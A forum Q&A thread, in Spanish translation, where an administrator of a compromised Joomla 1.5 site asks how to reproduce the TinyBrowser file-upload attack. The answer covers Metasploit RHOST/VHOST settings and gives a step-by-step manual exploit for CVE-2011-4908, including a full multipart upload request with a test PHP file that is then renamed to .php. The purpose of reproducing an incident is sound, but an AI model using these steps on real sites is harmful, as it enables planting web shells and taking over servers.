Intentando reproducir un compromiso de carga de archivos en Joomla

1

Después de decirles a mis compañeros de trabajo y a mi jefe que teníamos una falta muy crítica de controles de seguridad, ¡finalmente nos pusimos en peligro!

Tenían un Joomla 1.5 que fue explotado usando una vulnerabilidad de carga de archivos. Se subió el shell web de WSO 2.5.

Estoy tratando de averiguar dónde está el parámetro vulnerable pero no he tenido éxito. Ejecutando joomscan confirmo la vulnerabilidad:

# 20
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities 
Versions effected: Joomla! 1.5.12 
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes

w3af informa de un posible CSRF y un posible ClickJacking crítico porque el objetivo no tiene un encabezado de Opciones de Marco X. Pero no sé cómo aprovechar ambas vulnerabilidades para cargar un archivo con éxito.

Finalmente, probé la forma fácil de ejecutar Metasploit, pero estoy encontrando dificultades para configurar la IP de destino. El servidor vulnerable no tiene acceso directo desde redes externas. Las conexiones entrantes primero van a un servidor Apache y luego se redirigen al servidor Joomla. Entonces, ¿cómo podría configurar el objetivo en Metasploit? Porque afaik, solo puedo usar IP y ninguna URL para RHOST (no usé Metasploit tanto), y la IP apunta a Apache y no a Joomla.

Mañana tendré más tiempo, así que intentaré encontrar la vulnerabilidad manualmente. ¿Qué me recomiendan para buscar?

    
pregunta yzT 19.02.2014 - 19:34
fuente

1 respuesta

-1

Para este módulo en Metasploit (exploit / unix / webapp / joomla_tinybrowser), deberá apuntar al punto final desde el que se puede acceder al sitio de Joomla, en este caso el servidor Apache. Puede configurar la IP del servidor Apache para la opción RHOST y luego el nombre de host requerido para la opción VHOST. VHOST esencialmente llena el encabezado HTTP del Host, lo que probablemente permitirá que el ataque llegue al "servidor Joomla".

Es poco probable que la falsificación de solicitudes entre sitios (CSRF / XSRF) y ClickJacking estén relacionadas, aunque potencialmente podrían aprovecharse para incitar a un usuario a realizar acciones que no pretendían. Eso no elimina la posibilidad de que un administrador pueda ser engañado para que cargue un shell malicioso, aunque no sea un vector de ataque que yo haya visto personalmente.

Si el módulo Metasploit no funciona, puedes intentarlo manualmente como dices. No esperaría que fuera demasiado difícil. No pude encontrar detalles técnicos detallados con respecto a este después de una rápida mirada, pero aconsejaría investigar alrededor del identificador de CVE del defecto (CVE-2011-4908), y / o seleccionar a algunos de los públicos hazañas.

Esto me parece el aviso original: enlace

Editar: Reproducción manual

Puedes usar la fuente del módulo Metasploit para comprender qué deberías hacer para explotar ( enlace ). He intentado hacer esto a continuación, aunque estos pasos están sin probar , por lo que es posible que haya que ajustarlos para que no se haya realizado una nueva instalación de Joomla 1.5.12.

El ejemplo supone enlace con la instancia de Joomla en / JOOMLA /.

  1. Obtenga un código de ofuscación, requerido para cargar archivos. Enviar una solicitud a http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder= . La respuesta debe contener algún tipo de código de ofuscación que deberá copiar.

    El código de ofuscación se devuelve como una variable de Javascript y debería tener un aspecto similar al siguiente: so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000");

  2. Entonces necesitamos enviar algo como esto para cargar un script malicioso. Inserte el código de ofuscación recuperado:

    POST /JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/JOOMLA/images/stories/&type=file&feid=&obfuscate=%OBFUSCATIONCODE%&sessidpass= HTTP/1.1
    Host: www.example.com
    Content-Type: multipart/form-data; boundary=abcdef
    Content-length: 250
    
    --abcdef
    Content-Disposition: form-data; name="Filename"
    
    evil.ph.p
    --abcdef
    Content-Disposition: form-data; name="Filedata"; filename="evil.ph.p"
    Content-Type: application/octet-stream
    
    <?php echo("I've just executed PHP code!"); ?>
    --abcdef--
    
  3. Procesa el archivo cargado. Enviar una solicitud a: http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/JOOMLA/images/stories/&type=file&feid=&filetotal=1

    n.b. Recibo un error, pero aún funciona, por lo que no estoy seguro si este paso es necesario o no.

  4. Luego, renombra el archivo. Navega hasta http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder= en tu navegador favorito. Seleccione 'Renombrar' en el menú desplegable y elimine . del final del nombre del archivo malvado (es decir, evil.ph. > evil.ph ). Haga clic en 'Cambiar nombre de archivos' y debería ver desaparecer el archivo maligno.

  5. Su prueba de concepto debe estar en http://www.example.com/JOOMLA/images/stories/evil.php si lo anterior funcionó correctamente.

respondido por el itscooper 19.02.2014 - 21:02
fuente